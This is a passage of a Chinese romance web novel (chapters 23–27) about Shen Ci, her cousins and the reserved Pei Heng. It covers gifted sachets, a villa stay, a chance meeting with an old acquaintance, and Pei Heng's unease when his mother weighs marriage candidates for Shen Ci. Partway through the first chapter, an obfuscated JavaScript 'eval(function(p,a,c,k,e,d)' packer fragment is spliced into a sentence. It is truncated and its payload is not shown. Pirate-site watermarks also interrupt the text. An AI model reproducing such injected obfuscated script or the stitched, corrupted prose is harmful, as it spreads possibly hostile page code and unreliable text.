倒是楚修筠早就已经不在意,“爹娘写信回来过,说也许今年年末会归家,但一切都尚未可知,还是要等朝廷的调令。” 众人默默的点头,听过之后就没有再关心。 一个看不见摸不着甚至都没见过面的姐姐,自然没有朝夕相处一同长大的哥哥来的要紧。 “我们还是做香囊吧。”楚思怡立刻开口,几人也不再纠结,开始准备起来。 真正动手的人只有沈瓷,但是帮忙的人却有很多,香囊精致漂亮,比之铺子里买的那些还要好看。 她们忙活了几日,将香囊一一的装好,随着节礼送了出去。 几乎人人都有份。 永宁候府里,永宁侯夫人也收到了香囊,嬷嬷将这香囊取出来时,她原本不过是随意的看看,却发现做的挺好看。 “是哪里送过来的?” “是忠毅伯府。”嬷嬷赶忙回答道,“大姑奶奶说,是沈姑娘做的,送给长辈图个喜庆,还请夫人不要嫌弃。” “哦?”永宁侯夫人将香囊拿到手上细细的看了看,“针脚细密,里头的香料选的也不错。” 有一些东西最能反应实情,是真心还是假意,一目了然。 “只送了给我?” “世子和大姑娘都有。”嬷嬷像是想到了什么,没忍住笑了起来,“大姑娘还多一个。” “是吗?”永宁侯夫人这才有些好奇,“姝儿怎么就多一个?” “大姑娘的那个香囊上,还有刺绣呢,是大姑娘很喜欢的玉兰。” 在嬷嬷的解释下永宁侯夫人才知其中区别,她手上的香囊是送礼的,而给裴姝的,是特殊的。 “原来如此。”永宁侯夫人收下了那香囊,浅浅的笑了起来,嬷嬷又顺势说了燕窝的事情。 “让管事的去忠毅伯府走一趟,那边府上要自行采买还是我们这儿顺带帮着买都可,让他们自行商量。”永宁侯夫人随意说道,但小姑子的话也给自己提了个醒,“日后的燕窝也送去姝儿房里一份。” 嬷嬷立刻应下。 * 裴珩的心中因为长寿面的事情有些烦闷,只是这情绪来的极浅,他甚至都没能来得及理清楚。翰林院很忙,他每日上朝下朝,便已经分去许多的精力。 这几日倒也逐渐的忘记,可就在这时候裴珩收到了忠毅伯府送来的东西。 他没有接,只是随口问了长鸣一句,“是什么东西?姑姑送来的?怎么送来这里?” “是个香囊,据伯府的管家说,是沈姑娘做的。”长鸣轻声开口,而后他就瞧见原本满不在乎的世子,放下了手中的笔。 “是吗?”裴珩的语气淡淡,神情也不辨喜怒。 但动作早已经将他给出卖,礼盒就这么毫无悬念的到了裴珩的手中,他随意的将它打开,露出里头的东西。 匣子里静静地躺着一枚精致小巧的香囊。 除此之外别无他物。 他曾听裴姝夸赞过沈瓷女红了得,母亲也这般说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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对于裴姝的提议,他其实是心动的,只是裴世子到底不想让人察觉自己的情绪,便故作为难。 只不过裴珩没能坚持太久,便语气平淡的答应了下来。 甚至还给自己找起了借口来,只当是收到了香囊的回礼。 只是这份好心情来得快去得也快。 晚些时候,在裴珩得知裴姝有两个香囊的时候,就消失的无影无踪。 裴珩:“…呵。” 他究竟是脑袋里进了多少的水,才会觉得这香囊是特意送给他的? 24、第24章 端阳节那一日,裴珩带着裴姝来到忠毅伯府给姑姑送回礼,顺便来接人。 礼送到之后,裴氏也没拦着家中的几个孩子,让裴珩把人全给带走了,连嘱咐都没嘱咐一句,有裴珩在,她总是放心的。 还没出府门,裴姝就已经腻歪到沈瓷的身边,想和她们乘坐同一辆马车。 裴珩自是答应。 兄弟三人乘坐的是另一辆马车。 “表哥,思怡她们说要自己包粽子,一会儿到了之后,你和厨房说一说。”楚景澄求到了裴珩的面前,就连楚修筠也是一脸的期待。 裴珩虽然应下,却还是告诉弟弟们并非所有事都需要他出面,“这些事,你们也可以自行交代厨娘。” “娘说了,出门在外要听表哥的。”楚景澄满不在乎的开口,楚修筠也是深以为然的点头。 裴珩什么话都不欲多言,低下头开始看书。 出门在外要听他的? 他怎么觉得姑姑是想让他来给这群不省心的弟妹当老妈子的? * 永宁候府的别院就在京郊,从城中出去,不过两个时辰就到了,自从决定要来小住,永宁侯夫人就差人过来打点。 等他们到时,全部都已经准备好了。 “我们去瞧一瞧今儿个住在哪里。”裴姝带着姐姐们去了内院,其余三人均不是头一回来,在这里均有住处,这会子也不着急,就在院中闲逛起来。 “这边是我的房间,这里是映梦姐姐的,思怡住那儿,那边是哥哥住的,表哥他们在这里也有住处。”裴姝领着沈瓷过去厢房,一一的和她介绍起来。 沈瓷住的地方也在此处,是另一间屋子。 “晚上的时候我们可以在院子里烤羊肉。”楚思怡一说到吃的就满眼放光。 “这倒是个好主意,等会儿去和厨房说一说。”楚映梦也同意这个提议,裴姝和沈瓷自然随波逐流,连午膳都还没有吃进肚子里,已经开始考虑宵夜吃什么。 可难得出来一回,裴珩自然不会当个扫兴的哥哥,便陪着她们一块儿胡闹。 匆匆用过午膳后,几人就在厨房里忙碌起来,裴珩是不想和她们几个一起胡闹的,最终还是敌不过人多势众,屈服了。 拧着眉头开始裹粽子,裴世子聪明过人,学什么都很快,只是这捆粽子的手法总让人觉得他从前捆过强盗。 几个人都不敢惹他,恨不得离他远远的。 他们虽然是临时起意要吃烤羊肉,好在别院里有养着,现杀现宰都来得及,香料也有常备,等一切都准备好,众人围坐在一处开始烤羊肉。 都是金尊玉贵长大的,于厨艺这一块着实不太精通,可朝廷每年都有秋猎,大家伙儿也都见过,一个个的倒也弄得似模似样。 羊肉新鲜,香料也是上等的,烤出来的东西自然不差。 吃上第一口烤羊肉时,一个个别提有多兴奋了,沈瓷今日也很高兴,看着眼前的羊肉小心的吹了吹,慢吞吞的咬下一口,她吃的很慢,往往思怡吃了许多,她才吃了一点。 除了裴珩,谁都没有注意到她的举动,“不合胃口?” 清冷的声音在耳边响起,沈瓷下意识的抬起头,反应极快的摇头,“不是。” “只是从前没有这么试过。” 毕竟这羊肉烤得有点焦,沈瓷实在是有些不能下口。 “是不是不好吃?” 沈瓷:“…不是。” 这话到底要她怎么接?是能够直接说出来的吗?被人听到岂不是扫兴? “在家中时要是吃羊肉,都是煮的羊汤,娘亲不让这么吃的,说是不消化。”沈瓷轻声开口解释了一句。 裴珩本意是想和她说说话,却没想到勾起了她的伤心事,神色变得不太自然起来,“…抱歉。” 沈瓷有些诧异的抬起头,看见裴珩眼中的歉意,瞬间明白了什么,她浅浅的笑起,缓缓开口道,“裴世子不必如此,其实…已经没有关系。” “嗯?”裴珩的语气淡淡,却是倾听的姿态。 沈瓷许是很少有机会倾诉什么,今日也放开了自己,“一开始我的确伤心,但事情已经过去许久,表姐和思怡一直照顾着我,还有表哥们对我也很好,如今想起爹娘倒是忘记了那些伤痛,只记得曾经的幸福和快乐。” 她说起从前在家中时爹爹曾想过带她吃烤羊肉,她应当也吃过,只是不太记得这些,只记得母亲那时候发了挺大的脾气,爹爹就再也不敢带她吃烤羊肉。 这会儿有些触景生情罢了。 “我幼时曾见过楚家姨母,在我的记忆中她一直都是一个温柔的人。”裴珩的声音突兀的响了起来,沈瓷有些愣,有些疑惑裴珩为什么会突然开口说这些。 岂料裴珩有开口说了话,“也许,只是因为年幼吃烤羊肉不消化。” 裴珩说的认真,沈瓷愣了好一会儿才明白裴珩的意思,他是在安慰她,担心她误会母亲吗? 实则这么多年过去,她早就已经理解母亲,即便母亲当初真的是责骂她,到如今也都是满满当当的回忆,爱之深,责之切,又怎会误会? 沈瓷忍不住的笑了起来,过去了这么久,她骤然听见有人提及母亲,心中的情绪渐渐翻涌,她知道那是由衷的喜悦。 她什么都没有问,只是浅浅的笑着。 明明什么都没说,但裴珩却能够感觉到她的心情好了许多,灯火阑珊间,他清晰的看见了沈瓷的笑容。 裴珩想要看的更仔细些,却不过一瞬就别开眼。 热热闹闹的气氛感染了所有人,楚修筠不知从何处找来了一坛酒,就要给他们满上。 裴珩见沈瓷盯着手上的羊肉,不经意的低头看过去,像是明白了什么,对着正在烤肉的楚景澄淡淡道:“小心些,别烤糊了。” “表哥放心,怎么可能会烤糊?你们可瞧好了。” 晚上准备的东西被他们吃了大半,楚修筠找出来的酒虽然是果酒,但喝多了也会醉人,沈瓷也同样喝了不少。 明明各自都有各自的屋子,但这会儿她们却全挤在沈瓷这里,四个人挤在了一张床上。 分明这屋子并不是最大的。 也不知是哪里沾染来的习惯。 “今天可真开心。”楚思怡乐呵呵的开口傻笑。 若是先前听到这些,楚映梦指不定要挤兑人,只是这会儿她也这般觉得,自然少了许多的话。 就连裴姝也是如此,“真想永远都这样。” 但是这愿望注定没法实现,楚映梦已经定了亲,婚期定在明年,府上已经开始着手准备婚礼。 这些事情其实她们都知道,只是没想到会来的那么快。 楚思怡喝了酒,情绪被放的很大忍不住的抱着姐姐开始哭,“姐姐,你能不能不成亲?我们永远永远在一起。” 孩子气的话让楚映梦原本还有些失落的情绪一扫而空,“说的什么傻话?不成亲娘亲也不答应,我成亲之后,阿瓷也会成亲,还有你和裴姝,过几年也会出嫁。” 此话一出楚思怡哭的愈发厉害。 惹得几人哭笑不得。 谈论起楚映梦的婚事,众人便不可避免的说起楚映梦的未婚夫。 她的未婚夫是嫖姚将军府的嫡子,将军英勇善战,嫡长子也不逾多让,原本裴氏是往文臣里头选女婿的,但架不住楚映梦有意。 她还以为是剃头担子一头热,谁曾想那小将军也是如此。 两家母亲见了面,透露出些许意思后,楚映梦便说随母亲做主,那小将军倒是直白很多,问母亲何时去府上提亲。 这婚事也就这么定下了。 谈笑间楚映梦便问起她们喜欢什么样的男子。 “修文哥哥那样的。” 这是楚思怡的声音,她回答的很坚定,这是沈瓷头一回听见这个名字。 但楚映梦和裴姝却是见怪不怪,而后楚映梦就和沈瓷解释,楚思怡说的人名唤贺修文,这几年出门游学去了,所以她才没有见过。 楚思怡从小就说喜欢贺修文,楚映梦对此不太感兴趣,反而更想知道裴姝和沈瓷喜欢什么样的男子。 “至少,要比哥哥厉害。”裴姝语不惊人死不休。 一句比哥哥厉害,只怕是要让金陵城大半的少年郎偃旗息鼓。 楚映梦和楚思怡都说不出话来,寻思着裴姝在为难人。 “阿瓷呢,喜欢什么样的男子?” 这问题最终还是落到沈瓷的身上,但沈瓷当真没考虑过这些,在她看来安安稳稳的度过余生才是正经事。 何况她的婚事,也不是由她做主的。 可今日气氛那么好,贸然说这些,只怕是会让姊妹们担心,恰好这里有个现成的答案可以抄,她便没了犹豫,“至少,要比我爹爹厉害。” 沈瓷不过是随便找个借口,但这借口却辗转的传到了裴珩的耳朵里。 裴珩看着自己的双手陷入了深深的沉思当中。 他记得沈毅先是武状元,而后才是节度使? 这,都是状元,应当没有太大的区别?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 25、第25章 那天夜里,沈瓷睡得很好,身边都是熟悉的人,被温暖包裹着,即便是在陌生的地方也没有失眠。 只是前一天聊得实在太晚,翌日清晨,几个姑娘都没有醒过来。 别院里头安安静静的,即便有些不合规矩,也没有人来吵醒她们。 裴珩早早的醒来看书,楚修筠和楚景澄也先后起来,两人本想着要出去钓鱼,可看到表哥便发怵,也不敢造次,在裴珩的身边安安分分的写功课。 楚景澄在家中对着妹妹时,还会念叨几句他现在是举人老爷,偶尔还要摆一摆款儿,可面对裴珩那是大气都不敢出,只恨不得自己多长两只手,快些将文章写完。 等好不容易将功课写完,就要解脱的时候,楚景澄却又凑上去作死,“表哥,你最近怎么喜欢上看游记了?” 楚景澄的好奇心一向旺盛,方才没敢看,这会儿瞥了一眼才发现是游记,他又如何忍得住不问? 裴珩翻书的手微不可闻的一僵,可面上却丝毫没有表露出来,“觉得有趣。” “挺好看的。” 楚景澄似懂非懂的哦了一句,有些好奇这到底是什么游记,有这么好看?还非要强调一句? 他被勾出了兴致,忍不住的凑过去看了两眼,“表哥,这书这么好看?借我也瞧一瞧呗。” 裴珩懒得搭理他。 许多的书其实裴珩都看过,里头的内容也大致都记得。 可他却还是决定全部重新看一遍。 裴珩的本意很简单,不过是不想沈瓷问他的时候,他答不上来。 名满金陵的状元郎,竟有这般忐忑的时候,这本就不是一件寻常的事,偏偏裴珩将自己的心思掩藏的很好,根本就没有人知晓。 也无人察觉。 “策论若是写完便去看书,一个时辰之后将文章背出来。”裴珩语气平淡的打发人,看了一眼安安静静的楚修筠,想着不能厚此薄彼。 “你们俩一起。” 楚修筠:“……” 楚景澄:“……” 楚修筠平时很爱护弟弟,但这会儿已经没有一丁点儿兄弟情,忍不住的埋怨他,“你好端端的多什么嘴?” 楚景澄很是委屈,他也不知道表哥最近为何阴晴不定的。 “难道是翰林院那群人给表哥气受了?” 楚景澄不靠谱的猜测着,楚修筠皱着眉头想了想,“没有听叔父说起过,应当没有人会给表哥气受。” 兄弟俩不太靠谱的猜测着,想法歪到了不知哪里去,裴珩却没有任何要解释的意思,任由他们误会。 “好好背书。” 裴珩冷声道,“若是背不出,午膳也不用吃了,趁早回府去。” 至此两人再也不敢多话,只闷头背书,总算赶在沈瓷她们醒来时,一同吃上了一顿热乎饭。 沈瓷她们要小住几日,昨日早早的约定好,今儿个要去放纸鸢。 纸鸢是前几日做好的,这会儿她们直接拿着纸鸢出了门,楚景澄自然是要去凑热闹的,楚修筠不大想去,但架不住弟弟的怂恿,还是心软了。 他本想直接走,但想到孤零零一人的表哥,开口邀请他,“表哥一起去?” 楚修筠是不记仇。 裴珩本想顺着台阶下去,谁知楚景澄记恨今日的背书,飞快的拉着哥哥走了,“表哥不喜欢放纸鸢,他看书呢,忙着。” 楚景澄的话虽有故意的成分,但他们的心里其实也是这么想的,裴珩很少会陪他们一起疯玩,昨日能陪着一块儿烤羊肉已是出乎众人意料。 若是拉着表哥一块儿放纸鸢? 大抵是不能够的。 楚修筠想通这一点之后,和表哥说了几句话便急匆匆的离开了。 裴珩:“……” 他面无表情的盯着楚景澄的背影,心说书院的课业到底是轻了些。 楚景澄完全不知道自己将表哥得罪的死死的,和妹妹们一块儿放纸鸢玩的非常开心,根本不清楚日后等待他的却是多了一倍的课业。 * 沈瓷在别院住了三日,回府之后骤然忙碌起来,表姐的婚事已经定下,府上开始筹备嫁妆,沈瓷就跟在裴氏的身后看着舅母一点一点的替表姐置办东西。 一件件的东西里头,全是母亲对孩子的爱。 裴氏并不是个厚此薄彼的母亲,在给楚映梦准备嫁妆的时候,也会给楚思怡准备,遇见合适的,也没有忘记沈瓷。 裴氏从未对人提及过,沈瓷也并不知道这些。 她看到了舅母对表姐表妹的爱,也感受到舅母对自己的怜惜。 舅母待她和表姐表妹一视同仁,出门赴宴都会带上她们三人,沈瓷并非不识好歹的人,可即使如此,她的态度也没有任何改变,依旧晨昏定省伺候舅母。 就连泡茶的手艺也日渐精湛。 定下婚期之后,曾经学过的针法技艺终于派上了用场,楚映梦开始给自己绣嫁衣。 她不是一个耐心的人,在这件事情上却有着出奇的耐心,沈瓷就在一旁帮着表姐分线,时不时的对比绣线的颜色。 “我总算明白为何婚期要定在明年,若不是如此,只怕这嫁衣都绣不好。”楚映梦的声音有些哀怨,但她手上的动作却没停下。 沈瓷看着表姐促狭的笑了起来,“原来表姐怪舅母定的婚期太晚了些。” “我…” “这可不成,婚期若是定早了,让思怡知道又要开始哭,我可哄不好的。”沈瓷的表情非常的认真,郑重其事道,“而且,我也会哭的。” 惹得楚映梦哭笑不得,“思怡还小,你怎么也跟着闹?” “…若是表姐出嫁,我也舍不得。”沈瓷的声音有些低,像是被勾起了心事。 楚映梦看在眼中,几日前刚哄了妹妹,这会儿如法炮制的哄表妹,好不容易将沈瓷给哄好,她松了一口气的同时忽然有些担心,若一直是这样的状况,等到来年出嫁,她到底要先哄哪一个? 楚映梦心中有些发愁,可没发生的事情实在是分不去她多少的关注,比起到时候先哄哪一个妹妹,如今还是先选定头面来的要紧些。 * 金陵最有名的首饰铺子是珍宝阁,但珍宝阁的单子已经排到了几个月之后,楚映梦虽喜欢珍宝阁的首饰,倒也听了沈瓷的建议多去看几家。 用沈瓷的话来说,新娘头面,自是要选心中最欢喜的,而不是比较过后觉得最合适的。 楚映梦就这么被表妹给说服,时常往首饰铺子跑。 有时候是她们三人,有时候是四人。 可逛首饰铺子实在是很考验人的一件事,时常看着头面却忍不住的选起了别的首饰,最后的结果便是头面没有选好,首饰买了不少。 几人看着空空如也的荷包,谁也不敢说话…待荷包见底,也总算是认认真真的开始选起头面。 这一日,沈瓷陪着表姐来到一家不太起眼的铺子,她本以为是新开的,细问之下才知这铺子已经有许多年头,只是因为离主街有些远,知道的人并不多。 她们因为没有找到符合心意的,随意的闲逛着,才误打误撞的找到此处。 本以为铺子偏僻没什么客人,走进去才发现里头别有洞天,铺子不算小楼上还有一层,且里头还有不少女眷在挑选东西。 楚映梦一进门便眼前一亮,一眼就看上了一套头面,掌柜的笑着开口,说这是工坊刚刚打造好送过来的,摆出来还没有一刻钟。 楚映梦问了价之后毫不犹豫的买了下来,掌柜的欢喜自己铺子里的东西惹人青睐,豪爽的送了一副耳坠子,坠子和头面还挺搭,足以看出掌柜的诚意。 几人见掌柜如此大方,便忍不住看起首饰来,原本只是想随便看看,谁知竟移不开眼了,就在她们围着簪子细细讨论的时候,耳边忽然响起惊呼声,“沈瓷?” 这声音不算小,引起了不少人的注意,沈瓷听见动静自然而然的转过身去,看向了来人,她微微一怔,随即露出了平和的笑容,“秦姑娘。” 沈瓷语气平淡的打着招呼,而被她称为秦姑娘的人,神色却有些不太自然。 只是直勾勾的看向沈瓷。 惹得沈瓷有些莫名其妙。 先出声的人是她,一直不说话的人也是她,沈瓷没有想过会在金陵遇上故人,这会子多少有些茫然,不知该做出什么反应才合适。 好在秦月的反应比她还懵,倒不会显得她多奇怪。 楚映梦和楚思怡狐疑的看过来,那姑娘的身边也有不少的人,两方人都是一头雾水,不知二人究竟是什么关系。 “沈,沈姑娘,许久不见。”秦月硬着头皮和沈瓷打招呼,这会子别提多后悔方才出声喊她。 “秦姑娘近来可好?” 秦月原本就懵,这会子听见这话更是瞪大了眼睛,有些不敢置信的看向她,“你?你…” 秦月太过震惊,甚至都没能很好的掩饰自己的情绪,颇有些惹人注目。 “我今日是陪表姐一块儿来看头面的。”沈瓷透露出自己的来意,秦月总算反应过来自己的失态,轻轻的咳嗽一声掩饰自己的尴尬。 “我,我挺好的,我…我就是遇见故人,一时间有些激动。” 秦月为自己描补着,沈瓷也没有拆穿她,反而顺着她的话往下寒暄。 沈瓷温温柔柔的,但对面的姑娘像是被什么东西刺挠到了一般,匆匆说了几句就结账走人。 留下楚映梦姊妹俩面面相觑。 楚思怡有些疑惑的看着沈瓷,“表姐,她是谁呀?” “她爹爹先前是平江的知府,如今应当是调任金陵了。”沈瓷不太关注这些,但她能在金陵见到熟人,思来想去也唯有这一个理由。 官员调动是常有的事,楚映梦和楚思怡也不会觉得奇怪,她们只是奇怪那秦姑娘的态度,怎么慌里慌张的? “表姐,她从前在平江是不是欺负过你?我怎么瞧着她有些心虚?” 楚思怡护短的紧,方才那样的情况,她第一反应就是表姐受了欺负,半点没往别的地方去想。 倒是沈瓷听见这话,脸颊上飘上两朵红晕,在表姐和表妹的注视下,小声的解释着。 声音有些微微的赧意,“她可能是担心我会和她抢首饰…” 毕竟从前在平江,二人也只有这一点过节。 楚映梦:“……” 楚思怡:“……” 姐妹俩有些不敢相信的看着沈瓷,眼中的好奇都要溢出来,她们实在是想问问沈瓷究竟做了什么,竟能让人忌惮成这样,对方那模样看着和落荒而逃没什么区别。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 26、第26章 沈瓷说这话时,根本不敢去看表姐和表妹的脸色,她淡淡的别开眼,只想装作什么都不知道,颇有些掩耳盗铃的意味。 楚映梦和楚思怡并不知晓沈瓷在平江时是什么模样,她极少提起,她们担心勾起沈瓷的伤心事,也很少问起。 沈瓷愿意说,她们就愿意听,若是不愿意,她们也不会强求。 这会子也是一样,分明心中跟猫挠似得,还是忍住什么都没有问,也实在是难为人。 有了这么一件插曲,沈瓷也没了看首饰的心情,拉着表姐的手撒娇,说要回府。 沈瓷极少有这样撒娇的时候,为数不多的几次都是要逃避眼前的事儿,而且她转移话题实在是太生硬,也太生疏,楚映梦如何不知?但就算知道也还是舍不得拒绝。 “好,好,我们走。”楚映梦忙不迭的答应。 楚思怡看着姐姐那眼神就宛如看昏君似得,明明是想谴责的,但是她的动作却比姐姐更像昏君,径直走在了姐姐的前头,“我们买些糕点再回去,家中的糕点不多了。” 楚思怡一直都记得,表姐喜欢双月楼的糕点。 因为碰上秦月的缘故,沈瓷都开始疑神疑鬼起来,担心不知什么地方又窜出来一个熟人还好死不死的被她们撞上。 沈瓷从前不懂事,并不会觉得有什么不对,如今回忆过往,只觉得一言难尽,她实在是不想再撞上故人,再回忆一次。 可沈瓷不知道,不仅仅是她不愿看见秦月,秦月也不想碰上她。 秦月的父亲是年初接到调令,几个月前才走马上任,秦月来到金陵也不过月余,只是因为父亲升官,她的身边多了不少友善的人。 让她得以快速的融入金陵。 今日她们约好了要一块儿去首饰铺买首饰,秦月当真没有想过会遇上沈瓷,她坐在茶楼的厢房里发呆。 陪着秦月的姑娘们大多是被家中父母要求的,她们和秦月也才见过几回,根本就不熟悉,这会儿想问又不敢问的,坐在一起面面相觑。 但实在是忍不住,几人你看看我,我看看你的,其中一人斟酌着语气开了口,“秦姑娘,你认识楚二姑娘的表妹?” “什么?”秦月一时之间有些没听明白她们说的人到底是谁,好半晌才反应过来她们说的人是沈瓷。 秦月有些唏嘘,只因她从未听见过有人这般的称呼沈瓷。 “嗯…”秦月低低的回应了几句,“我们以前认识。” 都在平江,低头不见抬头见的,想不认识也难。 只是秦月心中疑惑,她们为何不认识沈瓷,还有了个奇奇怪怪的称呼,楚二姑娘的表妹? 沈瓷在金陵,就是这样的身份吗? 不知为何,秦月的心里有些不大舒坦,“你们,不认识她?” “不太熟悉。”几人听到这话忍不住的想了想,才发现她们对沈瓷并不了解,只知道她是楚映梦的表妹,楚思怡的表姐。 和裴姝关系不错。 还有,是成安伯府二公子的前未婚妻。 除此之外,就什么都不清楚了。 “沈姑娘是个很和善的人,上一回在成佛寺我迷了路,恰好遇上了她,我本以为她不近人情,谁知竟陪着我找到了母亲…” 这事儿不过一个小插曲,沈瓷自己都未必记得,却被旁人记得清清楚楚。 原是美事一桩,但这话听在秦月的耳朵里,她的表情就变得愈发奇怪。 秦月从未想过有生之年,竟能听见有人将和善这个词同沈瓷连在一起,可她想起今日见到的人也觉得和从前记忆中的那人很不一样。 “是吗?”秦月有些狐疑道,“不若你们再跟我说说她的近况,我们也许久未见,总不能什么都不了解,不然再见面说不上话岂不是尴尬。” 秦月找了个极好的理由,众人原本就被家中长辈勒令要和秦月打好关系,如今她主动递出橄榄枝,众人自然知无不言言无不尽。 秦月听了许久,只觉得自己的脑袋越来越晕,沈瓷在金陵很低调,低调的仿佛不存在似得,众人谈论起她的时候也多是和善,温柔,漂亮。 无不例外。 秦月听得快要怀疑自己,但面上还要装作恍然大悟的点头,也不知有没有把人给骗过去。 只是心中的疑惑越来越大,这还是她记忆中的那个人吗? 几人在茶楼里稍稍的坐了坐,而后就各自散了,只留秦月一人没动,呆呆的看着外头。 身边的丫鬟有些担心,“姑娘,不若我们也回吧。” “我坐一会儿,我要冷静冷静。”秦月有些语无伦次起来,实在是太让人难以置信,她百思不得其解,甚至怀疑自己听错了,都不敢相信是沈瓷如今变了模样。 “怎么可能呢?这怎么可能?!”秦月忍不住的开口。 丫鬟怯生生的看向她,多少有些担心,“姑娘?” “你知道她是谁吗?她可是沈瓷啊,她,沈瓷,怎么可能和温柔知礼扯得上关系?”秦月整个人都有些不太好,她心中的郁闷无处发泄,只能对着身边的丫鬟诉说。 但这丫鬟是上京时候买的,到秦月身边不过几个月,并不知道她和沈瓷之间的恩恩怨怨,这会儿茫然的很,只能傻愣愣的看着主子。 “姑,姑娘此言何意?” 小丫鬟小心翼翼的说话。 秦月也是真的找不到人倾诉,并不在意今日带出门的丫鬟不是她从平江带过来的,冷不丁的开了口,“你知道她从前有多么的霸道吗?” 小丫鬟自然不知道,秦月也没有指望她能够回应自己,这里不是平江,没人能够理解自己的惊讶,但秦月实在是咽不下这口气,“她从前喜欢牡丹样式的首饰,就不准别人买,不管金的银的还是玉的,就连铁的她都不给人留。” 秦月气呼呼的说道,小丫鬟睁大了眼睛,像是在问自家姑娘这话究竟是真是假,但秦月没有要和丫鬟解释的意思。 气恼的又说了不少事迹,全然不知这番话落到了别人的耳朵里,引起了多少的轩然大波。 楚修筠发誓,他并非是故意听人墙角,谁让这茶楼的雅间并不隔音,谁让那姑娘的声音那么大。他们三人想不听到都难。 谁让她字字句句提到的都是沈瓷。 他想不仔细听都不行。 楚修筠和楚景澄面面相觑一言不发,你看看我,我看看你,最后偷偷的看向表哥。 好在边上的姑娘说完这话之后,就再没说什么了,他们兄弟俩多少松了一口气,有心想要说点什么,却又完全不知道能说点什么。 只能一个劲的给自己灌茶水。 心中暗道不好,表哥和阿瓷的关系本就不怎么好,表哥还对阿瓷有偏见,如今又有了这一遭,表哥对阿瓷的误会会不会更深了? 兄弟俩愁眉苦脸的,当真是不愿见到表哥误会阿瓷。 明明他们的表妹那么好。 就不能好好的相处吗? 裴珩听不到兄弟二人的心声,若他能听到,大抵只会觉得两人眼瞎,究竟是哪里看出他对沈瓷有偏见的? 秦月的话他也听得清清楚楚,但裴珩什么都没有误会,心中只听到了自己最想知道的答案。 原来,她喜欢牡丹。 兄弟三人最后是怎么散的,楚修筠和楚景澄已经记不清楚,而裴珩同他们分别之后,却没有立刻回府,反而去了珍宝阁。 他从前来过这个地方,为祖母,外祖母,母亲和妹妹,都挑选过贺礼。 这还是头一回,他因为旁人来此处。 这不年不节的,端午才刚过,裴珩甚至都找不到什么理由和借口,但他还是来了,并且在掌柜问他想要看看什么的时候,有一些答案就这么脱口而出。 “牡丹。” 裴珩付了银子,示意长鸣将东西收好。 长鸣面无表情的跟在世子的身后,那是一句话都不敢多言,生怕多说多错。 * 回到府上之后,裴珩照例去给母亲请安,正巧遇上母亲和妹妹一块儿看画像,裴姝是什么态度尚未可知,但裴珩分明感觉母亲很满意。 “可是母亲,他学问不好。”裴姝有些不大高兴的开口,“都已经二十有二,这么大年纪了,还没有考上进士。” “二十有二算什么年长?” “可我哥哥二十岁就是状元了。”裴姝有些不满的辩解着。 永宁候夫人哭笑不得,“那是因为在家中守孝给耽误了,原本今年他也是要下场的。他的学问并不差。” “何况放眼看去,整个金陵比你哥哥厉害的又有几人?那你哥哥去和旁人比,岂不是太欺负人?”永宁候夫人苦口婆心的劝。 但裴姝依旧不满,“这些都是娘您自己猜测的,我还觉得大表哥和二表哥能榜上有名,他们这会子不也落了榜?” 裴姝在心中暗暗的道歉,只希望表哥们不要怪罪他。 裴珩越听越觉得疑惑,还以为是母亲要给裴姝议亲,这也太早了些,他走过去拿起裴姝手中的画像看了起来,可巧的是上头的人他还认识。 韩嵩。 原本和他们是同窗,只是三年前韩嵩的父亲过世,他要在家中守孝,已经许久未曾见过他。 母亲这是从哪里拿到的画像? “母亲,既然裴姝不愿意,此事就作罢吧。”韩嵩的确学问不差,可韩家从祖辈开始便已经没落,如今更是式微。 这画像怎么还能到母亲的面前? “何况裴姝还小,根本不急于一时。”裴珩想起自己方才听到的那些话,又开口劝道,“岁数相差太大,不合适。” “岁数大些会疼人。”永宁候夫人浅浅笑起,想着裴珩的话,心中也很是安慰,“何况,这也不是给姝儿选的。” “什么?”裴珩有些疑惑的看着母亲。 永宁候夫人自然不会卖什么关子,干干脆脆的告诉他,这是给沈瓷选的夫婿。 “你姑姑前些时候托付我物色人选,她说沈家丫头也到了要议亲的年纪,托我留意着,我瞧来瞧去,倒是韩嵩最合适,家世简单,和沈家丫头也般配。”永宁候夫人自然不是敷衍了事的,她考虑极多。 沈瓷如今的情况,高门大户是决计不会考虑她当主母的。 倒不如选一个可靠的人,踏踏实实的过日子。 韩家门风并不差,很是合适。 韩家虽是孤儿寡母,但韩家主母也不是什么刻薄的人。 “谁知你妹妹非要说他不好,实在是让人头疼。” 裴珩脑子里乱乱的,有一些听不清楚母亲在说什么。 物色议亲的人选? 议亲吗? 他盯着画像上的男子,眉头拧的愈发紧了,裴姝说的没错,这般年纪还没有功名在身。 又有什么资格成亲?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 27-30 第27章 第27章那些念头逐渐变得清晰起来…… 那天夜里,裴珩记不清自己是怎么离开正院的,但他还清晰的记得自己和母亲说过的话,“有一些事倒也不必那么着急,母亲觉得韩嵩不错,可那都是从前,韩家遭逢变故现下如何当真说不清,毕竟人心易变。” 这还是裴珩头一回这般直白的说起自己的想法。 他的内心实则有些许的紧张,只是脸上没有表露半分。 他一向冷淡,永宁候夫人也早就已经习惯,根本没有觉查出来裴珩今日和以往到底有何不同。 裴姝不知兄长心思,只是她着实不喜欢这个韩嵩,见状立刻点头,恨不得母亲立刻将那画像抛诸脑后。 永宁候夫人见儿子和闺女都那么说,倒也认真的考虑起来,“你们说的也在理,还需要好好的观望观望,我再派人去打听打听。” “那你们来瞧瞧这几个可还好?” 永宁候夫人的声音很温柔,可这会儿却化为了利刃,直直的戳到裴珩的心上。 他一点儿也不想帮着沈瓷选什么夫婿,恨不得将这些碍眼的画像统统扔了干净。 但裴珩很冷静,他坐在母亲的身边,当真如她所愿,认认真真的看起那些画像来,上头有一大半的人裴珩不认识,只认识小部分。 他有些疑惑母亲到底是从什么地方找出这些的,毕竟她母亲身份如此,能到她跟前的人,身份地位怎么也不会低。 裴珩本意不过是想看看这些画像上的到底是什么人,谁知他娘居然还能一个个解释起来,“这是张家的公子,这是王家的二公子…” 他木着一张脸,面无表情的听着。 听到后来,脸色已经越来越黑,可他竟然还能冷静的回应母亲的话,瞧着跟个没事人似得。 裴姝看了眼母亲,又忍不住的去看了一眼哥哥。 